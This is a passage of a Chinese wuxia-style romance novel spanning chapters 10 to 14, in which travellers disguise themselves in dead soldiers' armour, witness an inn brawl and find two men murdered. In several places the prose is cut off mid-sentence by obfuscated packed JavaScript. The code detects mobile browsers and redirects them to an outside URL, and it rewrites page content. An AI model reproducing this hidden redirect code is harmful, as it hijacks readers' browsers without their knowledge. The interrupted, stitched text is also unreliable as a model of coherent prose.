阿柒已经伸手抓住其中一个人的盔甲,把绳子解开。 顾瑶也走了上去,握住那人的鞋根狠狠往外拔。 刘一德见状到顾瑶身边半跪了下去,声音粗哑,“王妃,我来吧。” 顾瑶点了点头,退到一边。 俩人利索地解下了两套全身装备,又把六具尸体草草地堆到了不远处的一个小山坡后面,等顾瑶和陆随心把盔甲上的血迹擦拭干净,便开始了换装。 “有劳王妃。” 刘一德的疤痕被刚套上头的铁胄遮去了一半,他耸了耸肩膀把不合身的盔甲抖到一个相对舒适的位置后,便低头向身旁的顾瑶道了一声不冷不淡的谢,不等回复就远远退到了一旁,目光往土坡后面看去。 站在这儿并不能看见后面的场景,可作为搬尸体的人,自然知道那里是什么样。 六具尸体手压腿、屁股顶头胡乱堆在一处,已看不出人样,只像是一坨坨的肉块。 顾瑶看着刘一德皱了皱眉。 一旁的陆随心则在这一场场磨炼中学会了对某些事情视而不见,她从头到尾都没有去看那些尸体,也不去想象阿柒是怎样下的手,如此,她也就不用去思考阿柒到底是一个怎样的人。 她不得不感恩于眼下紧急的形势,让她能够一门心思扑在潜进长阳城的任务中,而将其他一切暂时忘掉。 此时的她正拼命把阿柒的衣袍往下拽,好遮住他的脚腕,无奈再扯也扯不出一寸长的布料,只好放弃,直起身来往后退了几步,连连皱眉,“太短了,这样容易被发现。” “可是姑娘,这已经是六身衣服里头最长的一件了。”阿柒也与刘一德一样套在那身原城士兵的盔甲里,像是断了四肢一般动也不敢动,任陆随心在他身上来回穿脱。 “怪你,长得太高。” “怪我。”阿柒从善如流地点头应和,头上没固定好的铁胄便往前歪去遮住了他的眼。 “不要乱动!” “是。” 陆随心把手伸到他脑袋两侧,将系绳抓住,贴着他的下巴尽量不松不紧地挽了一个结,肌肤的触感让她吓了一跳,忙开口掩饰,“如何?合适吗?” “合适。” “赶紧的!一会儿地牢的狱卒回来,就要耽误在这了。”刘一德扶了扶并不服帖的铁胄,朝着这对云国男女大声发难,“我只给了他们一顿酒的钱。” 顾瑶看到他撇过头避开了自己的视线,眼中闪了两下,回过头去叮嘱那两人,“去原城太过危险,我们绕道,从西边的淹城进,一旦过了边关地界,就不会有那么严格的检查了。” “好。委屈公主和我扮演被抓的流犯了。”陆随心将地牢门室里拿来的一幅手链递过去,又将另一幅绑到了自己手上,小心绕开了右手的伤口。 铁链的重量入了手,两条臂膀便沉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不等顾瑶上前阻止,阿柒一个滑步,不知怎么就绕到了刘一德的身后,一只手捆住了他握刀的手臂,另一只手五指如鹰爪一样收紧扣在了他的咽喉上,叫他完全动弹不得。 陆随心看傻了眼,完全不明白发生了什么。 刘一德在阿柒的束缚下高喊,“我技不如人,要杀要剐随你!但我绝不受云人之辱!” 阿柒皱了皱眉,将他往前一推。 刘一德刀瞬间脱手,踉跄倒地后起身回转,就见顾瑶站出挡在了俩人中间,“刘一德,你这是发什么疯?” “王妃,您帮小人给妻儿敛尸入土的恩情,小人没齿难忘。”他两手作揖,向顾瑶行了个礼,又往她身后一指,“可这云人笑我,是可忍孰不可忍。” 顾瑶往阿柒那儿一看,示意他给个解释,可后者只是轻轻耸了耸肩,一句话不说。 “刘一德,我想你是误会了,阿柒并没有笑你的意思。” 顾瑶的解释并没有让刘一德宽心,他那眼神,恨不得立刻再扑上去和阿柒斗出个死生定论来。 陆随心这才后知后觉地意识到眼前发生了什么,出于一种难以名状的直觉,她学着方才的自己,又做了一遍眼吊嘴歪的表情。 果然,阿柒又笑了一声。 刘一德冻在当场,进退失据,脸涨得绯红,分不清是羞愧还是恼怒。 11. 第 11 章 陆随心躺进那一大盆清水里,早不在乎几个时辰前刘一德的那点尴尬事。 这是她离家以来过得最为舒坦的一刻。 不必担忧如何处理一个半死不活的人,也不必困在逼仄潮湿的地牢里,而是可以毫无顾忌地将身体托付给温热的水,让它包裹住自己,流经每一寸皮肤,带走泥泞,带走愁绪,带走她所有想不明白的事情——譬如自己看到阿柒的笑时胸口莫名的鼓动。 “哗——” 她被自己的这个念头一惊,身子一动,搁在桶边的右手划过水面。 “嘶——” 水漫过刀口,痛得她龇牙咧嘴。 陆随心翻过掌心,看着那道伤痕,有些气急,左手指腹摸过边缘,一把摁了下去。 疼!疼死了! 可她倒因此满意了,好像这一股尖锐的疼痛可以止住她不断滑下坡的心绪,能就此告诫自己,不要生了不该有的心思。 什么叫“不该有的心思”?! 陆随心唰得从木桶里站了起来,上半身像捅进了寒冷地窖,扯过澡巾,才后知后觉环顾四周,一个人影都没有,和她同房居住的顾瑶不在。 “公……阿瑶?”她虽斗胆唤了一声公主的闺名,却只敢把声音压到最低。穿上干净的新衣,环视这三丈宽的大房间,床铺整新,桌下空荡,只有屏风后头的大澡盆冒着热气。 月已上树,整间客栈都很静。 一个时辰前,他们四人靠着尸体上的腰牌顺利进了淹城之后,就把全身装备卸下,马不停蹄找了一家最近的客栈住下。 掌柜说就差那么半刻时间打烊,再晚半刻他们就只能露宿街头,好不凄惨。说罢,便“好心”决定要将最后剩的两间房以一倍的价格卖给他们,在看到刘一德的疤脸露出不耐烦的表情后,又主动改回原价。 那一刻,陆随心倒是觉得无论是哪里的老板,钻进钱眼的样子也都差不多。 陆随心礼貌地恭请顾瑶先行沐浴,在门外耐心站了小半个时辰。 如今不见公主人影,陆随心便想到是她与自己礼尚往来了,就往门边走去,想喊她进来。 离开几步远的时候却听到细细碎语声传来,她立刻放轻了脚步,踮着脚尖走过去,将脑袋轻轻地贴到了门缝边上。 声音很轻,明显是故意压着在说话,但耐不过陆随心耳朵灵敏。 “我方才好像瞥到那人了,他可能也住在这间客栈。” “王妃是要我……?” “去探一探他的身份。” “若他真是云国士兵……” “你放心,我知道轻重,不会让他害了两边关系的。……你行事要小心,务必低调,别与他起了冲突。” “……知道了。” 对话声结束了,陆随心慌忙转身,小碎步疾走到床边的一面铜镜前,抓起一把梳子就往头上撸过去。 “吱——” 门被推开。 陆随心见镜子里的自己面色潮红,便没敢转身,“公……回来了。” “人多耳杂,在外唤我阿瑶便可。” “是,阿瑶。”陆随心可不敢把自己已经叫过的事儿说出来,她把梳子放下,拍了拍脸,“我……下楼去寻点吃食。” 说罢便站起来,朝顾瑶露了一个饥饿的嘴脸。这时肚子竟听话地叫了起来,让她的话一下子可信可亲了。 “你自去,都记账上,明日我一道结。”顾瑶点了点头,径自往床边走去,“我先睡下了。” 安平公主不疑有他的慷慨倒让陆随心颇感心虚,她胡乱应了一声,就推门走了出去。 腹中空空是真的,楼下寻食也不是借口,可她毕竟是藏了点别的心思。毕竟顾瑶和刘一德口中所谈的云国兵,是她最先发现的。 今日进城没多久,几人正商量着找家店休息时,陆随心往略显寂静的街道上看时,就见到不远处一辆冒着热气的推车处,肩上搭着长布巾的摊主正在给一个驻足的男子找钱。 没有任何人注意到他们。 可陆随心却很难把目光从那辆推车上收回来,她正疑惑于这小摊卖的是馄饨汤面还是包子米粉,就看到接过找钱的男子把手里的油纸包打开啃了起来。 她感到一阵异样。 “姑娘,你在看什么?”阿柒也顺着她的目光瞧了过去,脸霎时沉了下来。 “那人……就是在我们前面进城的。”陆随心紧紧盯着那油纸包,顺着他的脚步,看着他走到街角拐了过去,有一瞬间,那人的衣服侧过来露出了半片胸前的花纹。 “怎么了?”顾瑶问。 她把手指过去,试图理清楚自己看到的东西到底意味着什么,却失语了,“他……他……” “那是云国军中图腾。”阿柒替她把话圆上了。 一个云国兵为什么会在大晚上进了定国的城? 安平公主很好奇,陆随心也很好奇。 她一出房间,便猫着身子,把门轻轻合上,在片片映衬于窗上的烛火里走过一间又一间客房,便到了下去底楼大厅的木梯入口,从旁边凭栏望去,就见到了虚虚掩上的大门边那张桌子上正噼里啪啦打着算盘的掌柜,和悄悄迎了上去的刘一德。 他要找云国兵的房间,总归问掌柜是最快的。 陆随心怕误了时机,扒着扶手把身体贴在上边,将自己藏在阴影里,侧着往楼下潜去。 “掌柜的,向你打听个事。” 掌柜显然记得这张狰狞的脸孔,吓了一跳后强作镇静,“不知客官想打听何事?” “在我们前头,是不是来了一个穿褐衣的男子?” “这……”掌柜故意将头抬高,做出一番苦思冥想的样子后,坚定地摇了摇头,“没有。” “你!”刘一德一眼看穿了他在瞎说八道,大掌一挥,拍飞了他的算盘,隔着柜台攥住他的衣领把他整个人提了起来,两只眼都冒了火,“我再问你一遍,来是没来?” 陆随心在后面把脖子都伸长了,看这刘一德把顾瑶的叮嘱尽数抛诸脑后,觉着他不像是来完成任务的,倒像是纯粹找人发泄来了。 “来……来了来了。”为了让双脚重新踩到地面,掌柜轻易转变了他的答案,赔着笑脸,“客官息怒,息怒。” 刘一德放开了他,一掌下去,桌子边的账本飞起好几页,“哪间房?” “这不能说呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760882|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”掌柜躲着刘一德的目光将账本合上,摆着手,“不能说的。” “哼。”刘一德似乎也怕动静太大,没再接着武力相胁,而是从怀里掏出一锭银子,扔到了桌子上,“够不够?” 银子滚了两下,停在了掌柜的眼皮底下。 “……这……”掌柜嘴上犹豫,手已经将银子拢了过去,一边捻着银皮断定它的成色,又送到嘴边咬了一下,一边头也不抬右手往楼上最角落里的一间一指,“客官你要找人家干嘛?可不能在店里闹事啊。” “是啊,不知这位兄台,打听我作甚?” 刘一德背后第二架通往楼上的木梯口,悠悠走下来一个人影。他看上去三十有余,身姿挺立,垂手而来,印着云国徽章的褐色衣服早就换下,着了一身普通青衫。 有那一瞬间,陆随心在他脸上看到了和阿柒一样的神情。 是那种故意让眼神不飘忽的坚定,实则就是有所隐瞒。 “打听你……是要问你几个问题。”既然被抓了正着,刘一德只好将计就计朝着那人走去。 “哦?你我素不相识,何来问题。” 刘一德将脸堪堪贴到他面前,两道眉横着,语带挑衅,“你姓甚名谁?从哪儿来?到哪儿去?” “这便有些可笑了。”那人一声嗤笑,把头转到一边,“我为何要告诉你?” “两位客官,两位客官,使不得使不得。”掌柜将银子收到了柜中,将锁扣好,又把钥匙贴着身藏好,这才走出来,不敢插到俩人中间,就在一步远的地方喊,“此处相逢是缘分,大家莫要伤了和气,莫伤了和气啊。” “哟,这是怎么了。” “有人要打架?” 许是骚动渐响,惹得两三人从房中走出来,站在二楼栏杆外,旁观这一出闹剧。 刘一德左右一瞥,见楼上陆续出来不少围观者,倒没有退缩着赶紧息事宁人,反而更进一步,指着对方的鼻梁,“我方才见你是贿赂了守城的士兵才进得城来的,必然图谋不轨!你若不说说自己是来干嘛的,今日就别想走!” “呵。”那人似乎被说中了“贿赂”一事,脸色微沉,顿了一下,才抓着刘一德的下半句发作,“这位兄台口气倒是不小。我倒要看看你如何拦得住我?” “客官,这怎么还当真了呢!”掌柜往前走了半步,生怕一言不合血洒当场自己就得关门大吉了,“莫动气莫动气!我马上把厨子喊起来,给二位准备点好吃好喝的,咱们一杯酒泯恩仇!” “废话真多,要打就动手呀!” 不知谁在楼上喊了一句。 竟有不少笑声附和着响起。 陆随心已毫无蹲着躲起来的必要,便也站起了身子,光明正大地围观起来。 她转头去看那些身着里衣又匆忙出来凑热闹的人,要么双手枕在半身高的栏杆上眼怀期待,生怕底下打不起来的有一半,要么目露不屑,打不打得起来都准备论上几句的也有一半。 好像全客栈都倾巢而出了,可那里头偏偏少了一个人的身影。 她看了一圈又一圈,心有些沉了下去。 阿柒呢? 他为什么不在这里? 12. 第 12 章 那厢对峙的正主青衫男子倒是在楼上那些不嫌事大的起哄声里冷静了下来,一言不发转身就要走。 刘一德一把摁住他的肩膀,讥笑道,“这就怕了?” “你……”青衫男子回过头,眼里终是染上了怒意,将肩上的手狠狠挥开,“我不与小人一般见识。” 掌柜见他没有动手的打算,忙按着额头把那几滴沁出的汗水擦去,松了半口气,“都是好人,都是好人,不必动气。” “切——”不知是不是先前带头的人,见那人不应战,在楼上略带嘲讽地喊了一声,“没那个气性,就不要大晚上扰人清梦!” “就是啊!”旁边的围观者把手伸到空中,故意大大挥了起来,“光说不练。” “哼。懦夫。”刘一德也跟着骂了一句,将手举起来,对着他把大拇指抵在了小指头上,晃了晃。 接下来发生的一切完全超乎了陆随心的想象,她就看到眼前一闪,对面的人不知怎么就扭到了一起,你一拳我一脚地打了起来,一招一式的毫无章法,只有听凭本能的怒意。 旁边已经收拾好的桌椅被打翻在地,二楼的人们则又是拍掌又是叫好,随后惊叫的掌柜手撑着地从那一片混乱中爬了出来,在陆随心旁边贴着墙角直喘气,喘完就开始哭嚎,“哎哟,我的桌椅啊……” 陆随心犹豫了片刻,还是拍了拍他,以示安慰。 “你……你们!”掌柜认出眼前这人和那打架的是一伙的,便立刻把火烧了过来,“你们得赔!得赔!我要报官!把你们都给抓起来!” “您找那两位正主,他们定会赔你的。”后悔自己多管闲事的陆随心指了指场上打作一团的人,转身就准备离开这是非之地,却看到一身白衣的顾瑶站到了自己面前,不知她来了多久。 站在第三层阶梯上的顾瑶整个人高了许多,投下的阴影笼罩了陆随心全身。她对陆随心身后的人说道,“掌柜,没那么严重,小打小闹罢了。明日清算一下,我十倍赔偿。” “哦,这……这还差不多。”掌柜见这人面有贵气,又想到刘一德出手也算阔绰,霎时止了脸上的忧愁,看着眼前打得火热的俩人,嘴巴努着,像是在给他们鼓劲。 要陆随心说,这掌柜估计是希望这场架不要停下来,打到天荒地老,最好把他的店全给砸了才是,这样他明天就能有十家店了。 顾瑶没有呵斥打得正酣的刘一德,倒是和她打起了招呼,“随心,吃什么了?” “什么也没吃上,尽看热闹了。”陆随心没有躲避顾瑶探究的眼神,把刚才刘一德做的动作又做了一遍,用大拇指掐上了小拇指的指尖,“公……阿瑶,这是什么意思?” 不等顾瑶回答,掌柜已经皱着眉转过了头去,“客官,姑娘家可不能瞎做这般手势哦,不成礼数的!” 顾瑶向楼上走去,示意陆随心跟上,等到确认掌柜听不见了,才同她解释,“这人不是云国的。” “可是……” “只有定国男人才会被这个手势惹急了眼。”顾瑶也学样做了做,“云国人不懂它的意思。” 顾瑶不免想起当年有人对还是三皇子的莫楚瑛偷偷摆了这个手势,和自己的同伴在那儿笑得乱颤,像是成了什么了不得的恶作剧,莫楚瑛看到了,什么都没说,他向来就是什么都不说的。 那以后,他也没做什么反应,全当这事没发生过。 后来有人给顾瑶做了解释,暗示她那毫无反应的夫君唯诺,顾瑶没觉得如此,反倒欣赏他不会因为那些无聊的东西就有随便受辱的感觉,这般想着,顾瑶便对陆随心说道,“我也不好说那是什么意思,大概就是……嗯……你那儿小吧。” 陆随心自然一下就懂了,脸不禁有些发热,却还是忍不住要驳上一句,“小不小的,又不是做手势的人说了算,这有什么可生气的。” “可不是。”顾瑶听她这么说,笑得很开。 “那这刘一德还挺机灵。”陆随心回头看了一眼。 “也不知是瞎猫碰上死耗子了,还是他有意为之。”顾瑶也瞧了一眼还缠斗在一起的人,“我们回房休息吧。” “就……不管他们了?” “没动真格,他们打累了就歇……” “啊!”“呵!”顾瑶的话音未落,就听到围观者间发出几声惊呼,一看,青衫男不知怎么把刘一德腰间的佩刀抢了过来,俩人站开了两尺远,脸上都挂了淤青暗红。 “怎么,拳头软了?”刘一德似乎越打越尽兴,一口血水吐在地上,朝对方招了招手,要空手对大刀。 青衫男的脸色也变了,本来只是一时冲动,如今真成了骑虎难下的尊严之战。拔了刀,是他以强欺弱,不拔刀,难杀心中愤怒。 下一瞬,刀就出鞘了半分。 那些看笑的嘘声也逐渐隐没,变成了窃窃的私语。 看打架是兴致,看杀人可就是倒血霉了。 “别打了,别打了。都回屋睡了吧。” “就是,多大点事啊。” “掌柜,你赶紧劝劝。” 风向急转,不少人回身离开,不愿卷入这不知烧向何地何方的戾火。 躲在墙边的掌柜缩成了一团。 陆随心回想起一刀劈在王通脑袋上的白光,生出些惧意,往台阶上退了两步,眼前白衣飘过,身后的顾瑶已经越过了她。 “阿瑶!” 一个黑影不知从哪儿蹿了出来,赶在阿瑶面前一举站在了那两人中间,众人惊呼之下,就见那把刀也莫名其妙到了他手里。 “两位,歇一歇?若哪位还打得不过瘾,接下来,由我奉陪。” 刘一德唇角扯了一下,并不愿正眼瞧那年轻的劝架客,好像看到他,那些不理智的愤怒便都被绑了起来,哪怕是装,也要强撑出一点清醒的样子。 总不能又叫他一个云国人看了笑话。 青衫男则什么也没说,看着自己毫无所觉之下便空空如也的手掌,冷着脸转身走了。 此时除了陆随心的所有人,大约都乐于见到这场逐渐失控的打斗落下帷幕,可她却深深懊悔于自己那双分外敏锐的眼。 若不是这双眼,便不必见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆随心本洗得暖和的身子蓦然一凉,撇开头,讥讽了一句,“我连你到底是谁都不知道,怕不是待在你身边才是最大的危险。” 阿柒的眼落下去,没说话。 她垂在身边的手忽而一轻。 低头一看,阿柒竟将她右手抓起,一个小药瓶不知何时被他拿在手里,清白的粉末顺着他的指腹轻轻抹在她的伤口。 “嘶——”陆随心掌心一紧,那声“疼”愣是吞回了肚子,看着自己被他紧紧箍住的手,胸口一颤,明明觉得被他硬生生转了话题,却也不由自主地陷了进去,“这药……是你刚刚出去买的吧?” “是。”阿柒点了点头。 她看着他低下去的脑袋。 那里慢吞吞传来一句呓语般含糊的话。 “随心姑娘,我从未关心过别人,也不知该如何关心,你若不嫌弃,便教教我吧。” 她心头一空,像踩进了什么了不得的陷阱。 13. 第 13 章 陆随心是枕着对自己的千万悔恨之心入睡的。 悔的是对阿柒一个字都没问出来,恨的是没能开口的缘由。 手心一阵酥麻,那些早先抹在那里的药粉像生了脚的蚂蚁,在她掌心里钻来钻去。 她一阵烦躁,转身想去看看那瓶睡前被好好放在桌上的药瓶。 “怎么了,随心?睡不着吗?” “啊、没,吵着你了。”陆随心停了动作,绷住四肢,这才想起不是在家里,怕小心思泄露,胡乱编了个借口,“就是……有点想家了。” 不料顾瑶翻了身,仰躺下来,“你是云国哪儿人?” “原是永京的,后来搬去了大北,住在永安村。” “我曾随大王去过永京劳军,那儿山高水美,景色甚好。” 顾瑶似乎才是那个真正的想家之人,一句一句描摹着她回忆里的云国,也因此打开了话匣子,天南地北地聊到了不知什么时辰才沉沉睡去。 唤醒陆随心的是一大早门外的骚动。 她依稀听到了一声尖利又粗哑,要把天灵盖掀开的叫声。 “怎么了?什么事?” “说是出大事了!快去看看!” 人群的跺步声逐渐远去。 陆随心右手捻着尚在迷糊状态的眼皮,左腿下方铬着的硬物叫她有些不适,半撑起身子,看到惨遭自己泰山压顶的正是公主顾瑶的小腿时,脑中一阵激灵,忙不迭把腿抽了回来,并迅速转移了话题,“外头好像出事了?” 顾瑶浅浅一笑,利索地起了身,“我们不便凑热闹,还是叫上他们俩赶紧离开。” 陆随心虽对门外的“大事”很有几分好奇,可终究还是在顾瑶的提议下草草收拾了自己,便去敲开隔壁的房门。 应门的是阿柒。 他已经穿戴整齐,脸上的锐气一点没变,甚至说不好他这是睡醒许久还是根本一夜未睡。 “阿瑶说收拾收拾赶紧走。”陆随心忍不住往屋里张望,不知他昨夜与刘一德如何相处的,“那谁呢?” 阿柒只回了一句,“不知。”便轻车熟路去拉她的手,“我看看你的伤。” 陆随心一惊,手臂一哆嗦,还是没收回来,“药挺管用,好多了。” 咫尺距离,衣袂相接。 明明只是手被他抓着,却觉着浑身燥热。 她悄摸摸去看他,恰好望进一双黑沉沉的眼里,就此被黏住了似的,躲不开闪不开,嘴也失了魂,“有没有人说过你长得像话本里的大侠?” 话一出口,落到她身上的目光就去了别处。 她手一空,就见阿柒退了半步,站出生人勿近的架势,摇了摇头,很是认真又落寞地回答,“从来没有。” 陆随心胸口一紧。 身后走廊有人碎语着走过,打断了她的又一次悔恨。 “听到没?说出事了。” “什么事啊?” “说是死人了。” “啊——” 死人了? 她顾不得眼前,转过身扒住那人的手臂,“哪儿死人了?” “就那边,最靠边那间客房,就是昨晚上打架的那人!” 陆随心整个人往下坠去,立刻回身看向阿柒,试图在他波澜不惊的眼里察觉出一丝慌乱来,却怎么也找不到,“你知道这事吗?” 不等阿柒摇头或点头,她拔开腿往他们说的地方跑去。 “随心姑娘——” 陆随心没理阿柒的叫声,匆匆奔去。 自从进入定国的地界,她就一直在看到各种各样的死人。 被断了头的王通,被割了喉的原城守卫……现在又加上了两具。 当她扎着脑袋,从客房外围了好几圈的人群中一路推搡着挤到最前面,看到的是前一晚被及时制止的斗殴最终不能幸免而演变成的血光之灾。 里头是两具横死的尸体。 刘一德和昨日被他挑衅的青衫男。 从门缝处蔓延出的鲜血混着柳府尸首遍地的惨状在她脑海里不断交替出现。 昨日瑟缩不已的掌柜此刻却镇静地站在案发现场,只有挥舞在空中示意大家冷静的双手微微发颤出卖了他的真实心情,“我已经让伙计去报官了,各位稍安勿躁,稍安勿躁。我们一定能把凶手找出来的。” 陆随心定下心神,看了眼跟上来立站在身旁却一点反应都没有的阿柒,才又往屋里头细细观察。 青衫男看上去是被刘一德的刀割破了脖子,一招致死,就躺在床边的地上。 而刘一德则是死在一把短匕之下,戳中了胸口,血尽而亡。尸体就伏在门边,好像是要跑出去的时候倒下的。 “大家不必围在此处,还是都先回房歇着,一切等捕快们来了再说。” 确实有一些人挨不住冲鼻的血腥味掩着脸就走了,还有一些胆大的却对掌柜的提议置若罔闻,愣是不肯挪动脚步。 更有好事者来回查看思索后,充当起名捕,下了定论,“要我看,这案子,没有凶手。” 周围人听到这推论不禁都支起耳朵,要他细细讲来。 掌柜的更是一步跨到他面前,“哦?客官,此话何解?” “定是昨日这主动挑衅的男子没有打到位,心中不爽,越想越睡不着,半夜就跑来这间房,找这个青衫男报仇。” “这位挑衅男半夜挥刀冲进此房间,却被床上惊醒的青衫男一匕首飞刺而中,但侥幸躲开了要害,于是他爆发垂死之力,冲到床前杀死了青衫男,伤势却因此加重,转身想要离开时不幸咽下了最后一口气。” 此人唾沫横飞的推演彷如亲见,大家连连称赞他有名捕风范。 掌柜的则对这个故事中“凶手已死”的结论分外满意,握住他的手要他一定留下来和捕快们再好好说一遍。 陆随心皱着眉,一言不发。 死人、活人、鲜血、汗水、四溅的唾沫……所有味道混在一块,都抵不过在她腹中若隐若现的疑虑那么挠人。 肩上忽然有手掌落下,她转身看到眸子暗沉的顾瑶对自己使了个眼色,“随心,快走吧。” 陆随心点了点头,可不知怎么又回过头去好好看了一眼刘一德。 他应该死了有几个时辰了,脸泛着诡异的青白,像不热络的市场里摊上许久没卖出去的肉块。他劈刀杀王通的狠样还在眼前,可转眼,他自己就成了别人刀下的亡魂。 衣袖被狠狠拽了一下,陆随心才回过神,拉着身旁好整以暇的阿柒,一同跟着顾瑶挤出了人群。 “赶紧走!我们绕道,走远路进长阳城。” 顾瑶带着两人匆匆出了客栈,方才连刘一德尸体都没好好看上一眼的她却在刚过街口转角,将将远离事发中心后,就停下身,有些急躁地问,“阿柒,昨夜不是你与刘一德一起睡的吗?他怎么会……又半途去找人家寻仇?” 阿柒的脸上也说不清是冷漠还是无辜,“他昨夜没与我一起睡。” “什么?” “许是不想与我这个云国人同塌吧。”阿柒轻描淡写道。 陆随心知道这个推测能轻易说服她和顾瑶。毕竟刘一德真的安安分分和阿柒在同一间房里待上一晚上,才更显得奇怪。 可那间房的惨剧仍然不能因此就在她们心里收场。 至少对陆随心来说,不能。 那个“名捕”的推论根本站不住脚。 一个能在刘一德进屋的瞬间就先发制人用匕首刺伤他的青衫男,怎么可能反倒被后来居上一刀割喉? 若说青衫男棋差一着,死在了绝命拼搏的刘一德手里,还算说得过去。 可屋内一点打斗痕迹都没有……倒像是哪个高手杀了他们两个,又特意做了局,行障眼法之事。 这个客栈里,还有哪个高手能干下这等事呢。 再加上前一天在林子里他们曾爆发的那场争执,是不是阿柒从未真正放下刘一德对他的挑衅和鄙夷? 陆随心看着阿柒,欲言又止。 “怎么了?”这回阿柒的脸上倒是真的现出几分疑惑。 陆随心不知道怎么开口,只好快速地回避,装作这不过是他的错觉。 可她无法忘记他站在自己旁边,看着房间里那两具尸体时的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760884|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神,没有闪躲遮掩,也没有故作惊讶,什么都没有,实在是……过于平淡了,就像他们回去取原城守卫的腰牌时他的眼神一样,好像面前令人作呕的血腥味和那能搅得常人夜不能寐的死亡,于他来说,不过是日起日落一般的天经地义之事罢了。 如果说刘一德的暴戾尚且有所底线,那阿柒就是个…… 山洞,他就是那个无底的黑山洞。 陆随心沉下气来,掩饰着腹中的翻江倒海,“我只是没想到,刘一德就这么死了。” 一旁的顾瑶把脸低下去,微不可闻地叹了一声气,“是我对不住他。但人死不能复生,我们走吧。” 可陆随心很难立刻往前看,在那之后的每一天里,她都看着阿柒的背影陷入沉思。 刘一德的死让她产生了一种说不明道不清的复杂情绪,那肯定和悲伤无关,但也和面对王通之死时的恐惧完全不同,那感觉更像是面对柳家灭门时回忆里的那种荒谬感——原来人命竟这般脆弱,说没就没。 她对刘一德并无多少同情,可还是无法压抑内心隐隐的希望,希望动手的人不要是阿柒。 她不敢问。 感受到陆随心注视的阿柒总会不厌其烦地回过头来问她,“嗯?是我脸上又有什么东西吗?” 她便只是摇头,有时候也会顺着胡说一句,“对,那儿粘上了。”然后随便一指,看阿柒在脸上瞎抹着并不存在的“脏东西”,为他那份略显真挚的单纯而高兴。 这样一个人,怎么会在背地里随便取人性命呢? 可她说服不了自己。 那一晚,早看出她心事的顾瑶在俩人独处时劝慰她,“随心,玉佩之约一事,不防暂且作罢。阿柒……有点太危险了。” “阿瑶,你也看出来了……他……” “他的功夫不是校场学的也不是江湖上的,而是杀招,一出手就能毙命的那种。” “客栈里的事……” “……他怕是脱不了干系。随心,我再问你一次,他到底是谁?” “我真的不知道。”上一次和顾瑶这么说时,她还有一种和阿柒绑在一块儿,是为了讲义气而掩护他的感觉,可这一次回答的时候,她只剩哀伤。 “好,我相信你。不要轻举妄动,不要招惹他,一切等我们平安回到王府再说。” 陆随心应了,可突然想起在那场大火里被烧得精光的柳家所有人,从不敢去想他们最终的归途是被敛起来埋了还是就那么扔在了那片废墟里头,便问,“刘一德他的尸体,会被收敛归乡吗?” 想到此刻的刘一德也许正躺在淹城衙门的仵作面前,被蒸尸剖腹,陆随心莫名有些悲从中来。 顾瑶的眼神里也带着不可掩饰的一些悲意,“他已经被族里驱逐了,就算案子结了,他也回不去了。大概会就近找地埋了吧。” “回不去?难道是因为……他娶了个云国人做妻子吗?”陆随心想起顾瑶曾说过的话。 “差不多吧。”顾瑶草草讲了刘一德的事,似乎并不愿沉湎其中,“那年他家乡闹灾荒,村里人迁怒之下,趁他不在家的时候,把他妻儿乱棍打死,说是他们带来的灾祸,还不准他收尸,他忤逆族长,挨了一刀,也就此被逐了出去。” 陆随心想起他那道疤,竟第一次对他生出点别样的情绪来,“他倒是奇怪,一边骂云人,一边又讨了云人做老婆。” “是啊。他讨厌云国人,却喜欢他那云国来的妻子,在我们旁人看来自相矛盾,可在刘一德心里,这又好像是理所当然的。” “那他妻儿……” “当时我听闻了此事,便帮了一把,让他敛了尸,办了葬礼。他妻儿不被允许进村里的墓地,给埋在旁边的孤山上了。他为此感念于我,才这般替我做事。” 陆随心试着去想象刘一德给出身云国的妻子祭拜的场景,发现完全看不懂这个人,可那之后赶路的几天,当自己总是忍不住要去看阿柒,看他长身玉立坐在马背上的黑色背影,越看越叫人心烦,越心烦还越要看的时候,她却有点明白了。 世间事莫不如是。 看不透的才叫人心。 14. 第 14 章 申时。 日光打在双交四椀菱花槅扇上,在屋里的墙上映出一排排齐整的花纹。 对屋中那位清瘦修长的男子来说,这晴朗的下午,却不是什么喜人的好时光。 他捧着一杯刚沏好的白茶,只穿了一身便衣,在卧榻前从一头走到另一头,又从那头走回这一头,越走越快。 走到第三回的时候,他停了下来,往那儿一坐,杯盖也从他手里落了下去,碰得杯沿一声刺耳的响,“我问你,王妃可有说她何时回来?” “奴婢……”双手叠握,紧着身子站在一旁的桑凌嗫嚅不敢言。 